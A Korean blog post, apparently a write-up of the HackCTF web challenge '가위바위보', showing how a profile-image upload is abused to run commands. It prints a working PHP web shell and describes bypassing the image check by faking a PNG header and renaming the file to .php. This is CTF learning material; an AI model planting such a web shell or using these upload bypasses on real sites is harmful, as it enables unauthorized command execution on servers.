일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- writeup
- HackCTF
- Hackerschool
- requests
- reversing
- BOF
- 보안뉴스
- 리눅스
- NewsClipping
- SQL Injection
- 웹해킹
- termux
- webhacking
- RITSEC
- CodeEngn
- Nop Slide
- 뉴스클리핑
- 버퍼오버플로우
- ctf
- 어셈블리어
- 리버싱
- PWN
- Python
- buffer over flow
- x64dbg
- Shadow 동아리
- RITSEC CTF 2019
- Linux
- ftz
- Next.js
Archives
- Today
- Total
Jaeseo's Information Security Story
HackCTF - WEB - 가위바위보 본문
HackCTF - WEB - 가위바위보
일단 문제 사이트에 접속을 합니다.
접속을 하면 간단한 가위바위보 게임을 즐길 수 있는 사이트가 하나 나오는데 여기서 오른쪽 위의 계정 설정으로 들어갑니다.!
그러면 계정에 대해 프로필 이미지와 이름을 변경할 수 있는 것을 보이는데 파일 업로드가 가능 하다는 점에서 파일 업로드 취약점을 이용 해야 한다는 것을 알 수 있습니다. 일단 한번 간단한 웹쉘 코드를 짜고 업로드를 해봅니다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
위와 같이 웹쉘을 제작 해서 파일을 업로드 해봅니다.!
webshell.php , webshell.png.php, webshell.php%00.png 등등 확장자를 변경하여 시도를 하였는데 아래와 같이 이미지 파일이 아니라는 경고를 내보내는 모습을 볼 수 있습니다.
이번에는 파일 헤더에 PNG을 의미하는 헤더를 집어 넣음으로 한번 우회를 해봅니다.
이제 수정한 파일을 업로드 해보면 정상적으로 업로드가 되는 모습을 알 수 있습니다.
이때 파일을 열어보면 아래와 같이 이름으로 열리는 모습을 볼 수 있는데 이름을 .php의 확장자 이름으로 변경하여 다시 업로드 해봅니다.
이제 여기서 이미지의 주소를 새 창으로 띄어 보면 정상적으로 웹쉘이 실행된 모습을 볼 수 있는데 flag 파일을 찾아 출력 합니다.
'Write UP > HackCTF' 카테고리의 다른 글
HackCTF - WEB - Cookie (0) | 2019.12.11 |
---|---|
HackCTF - WEB - Home (0) | 2019.12.10 |
Comments